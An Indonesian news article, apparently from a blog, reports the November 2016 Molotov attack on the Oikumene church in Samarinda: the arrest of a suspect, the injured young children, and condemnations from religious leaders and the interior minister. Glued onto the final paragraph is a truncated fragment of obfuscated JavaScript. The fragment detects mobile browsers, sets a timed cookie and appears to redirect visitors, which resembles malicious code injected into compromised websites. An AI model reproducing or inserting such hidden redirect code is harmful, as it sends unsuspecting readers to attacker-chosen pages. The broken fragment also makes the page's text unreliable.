Bom Meledak di Halaman Gereja Oikumene Samarinda

bom-gereja

Pada hari Minggu tanggal 13 November 2016, kota Samarinda diguncang teror bom yang meledak di gereja Oikumene sekitar pukul 10.00 WITA,saat jamaah gereja akan melakukan ibadah sesi kedua. Kronologinya ketika hendak melakukan ibadah sesi kedua, tiba-tiba jamaah dilempari bom oleh orang tidak dikenal berpakain kaos hitam dan celana hitam. Menurut kepala kepolisian Daerah Kalimantan Timur Jenderal Safarudin, pelaku saat ini sudah ditahan di kantor polisi. Pelaku pengeboman diduga bernama Juanda yang sebelumnya juga pernah ditahan karena terkait dengan jaringan terorisme. Pelaku ditangkap oleh warga ketika mencoba kabur dengan cara menceburkan diri ke sungai Mahakam.
Korban pelemparan bom molotov berjumlah lima orang, tetapi yang satu hanya luka ringan. Semua korban adalah balita, korban kemudian dilarikan ke RS IA Moeis Samarinda Seberang. Hingga saat ini korban yang masih dirawat bernama Intan Marbon (2,5tahun), Trinity Hutahayan (4tahun), Anita (4tahun) dan Alfaro Sinaga (5 tahun). Selain mencederai para korban, ledakan bom mengakibatkan empat sepeda motor di halaman gereja rusak.
Ketua PP Muhammadiyah Danhil Simanjuntak sangat menyesalkan upaya teror bom di Samarinda yang mengatasnamakan jihad. Menurut beliau substansi jihad adalah menghadirkan kesungguhan dalam berkarya untuk kebaikan sesama. Untuk itu beliau meminta pihak kepolisian untuk mengusut tuntan kejadian pelemparan bom di Gereja Oikumene Samarinda. _20161114_053344Sementara itu ketua umum pengurus besar NU Said Aqil Siroj juga mengutuk keras kejadian pelemparan bom di Samarinda. Beliau mengutuk kekerasan yang dilakukan oleh pelaku yang mengatasnamakan agama karena menurut beliau tidak ada kekerasan dala beragama dan tidak ada agama dalam kekerasan.
Selain itu menteri dalam negeri Tjahjo Kumolo juga mengutuk keras kejadian bom di Samarinda. Beliau kemudian menginstruksikan kepada seluruh kepala daerah terus menjalin komunikasi dengan tokoh adat, agama dan aparat keamanan yang bertujuan untuk mencegah aksi kekerasan dan mendeteksi secara dini mengenai terorisme yang menyusup ke masyarakat. \-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *